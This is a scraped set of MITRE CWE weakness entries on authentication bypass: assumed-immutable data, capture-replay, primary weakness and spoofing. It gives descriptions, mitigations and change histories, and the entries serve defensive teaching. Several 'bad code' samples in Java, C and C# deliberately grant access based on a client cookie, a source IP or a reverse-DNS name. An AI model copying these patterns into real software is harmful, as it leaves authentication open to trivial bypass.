MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

Theoretical

Alternate names are useful in data driven manipulation attacks, not just for authentication.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication bypass by alternate name
The CERT Oracle Secure Coding Standard for Java (2011)IDS01-JCWE More SpecificNormalize strings before validating them
SEI CERT Oracle Coding Standard for JavaIDS01-JCWE More SpecificNormalize strings before validating them
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, Theoretical_Notes
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Type
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-302: Authentication Bypass by Assumed-Immutable Data

Weakness ID: 302
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.807Reliance on Untrusted Inputs in a Security Decision
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

(bad code)
Example Language: Java 
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
...
}

Modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

+ Observed Examples
ReferenceDescription
DebPloit
Web auth
Authentication bypass by setting certain cookies to "true".
Authentication bypass by setting certain cookies to "true".
Admin access by setting a cookie.
Gain privileges by setting cookie.
Product trusts authentication information in cookie.
Authentication bypass by setting admin-testing variable to true.
Bypass auth and gain privileges by setting a variable.
+ Potential Mitigations

Phases: Architecture and Design; Operation; Implementation

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Bypass via Assumed-Immutable Data
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
The CERT Oracle Secure Coding Standard for Java (2011)SEC02-JDo not base security checks on untrusted sources
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Type
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-294: Authentication Bypass by Capture-replay

Weakness ID: 294
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).
+ Extended Description
Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.
+ Likelihood Of Exploit
High
+ Observed Examples
ReferenceDescription
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).
+ Potential Mitigations

Phase: Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

Phase: Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication bypass by replay
CLASPCapture-replay
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-305: Authentication Bypass by Primary Weakness

Weakness ID: 305
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
The provided password is only compared against the first character of the real password.
The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password.
Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Most "authentication bypass" errors are resultant, not primary.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Bypass by Primary Weakness
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.291Reliance on IP Address for Authentication
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.293Using Referer Field for Authentication
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.350Reliance on Reverse DNS Resolution for a Security-Critical Action
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.602Client-Side Enforcement of Server-Side Security
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.
+ Demonstrative Examples

Example 1

The following code authenticates users.

(bad code)
Example Language: Java 
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
authenticated = true;
}

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

Example 2

Both of these examples check if a request is from a trusted address before responding to the request.

(bad code)
Example Language:
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));

while (1) {
memset(msg, 0x0, MAX_MSG);
clilen = sizeof(cli);
if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
}
(bad code)
Example Language: Java 
while(true) {
DatagramPacket rp=new DatagramPacket(rData,rData.length);
outSock.receive(rp);
String in = new String(p.getData(),0, rp.getLength());
InetAddress clientIPAddress = rp.getAddress();
int port = rp.getPort();

if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
out = secret.getBytes();
DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
}
}

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

Example 3

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

(bad code)
Example Language:
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);

hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
trusted = true;
} else {
trusted = false;
}
(bad code)
Example Language: Java 
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
trusted = true;
}
(bad code)
Example Language: C# 
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
trusted = true;
}

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

+ Observed Examples
ReferenceDescription
S-bus functionality in a home automation product performs access control using an IP allowlist, which can be bypassed by a forged IP address.
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
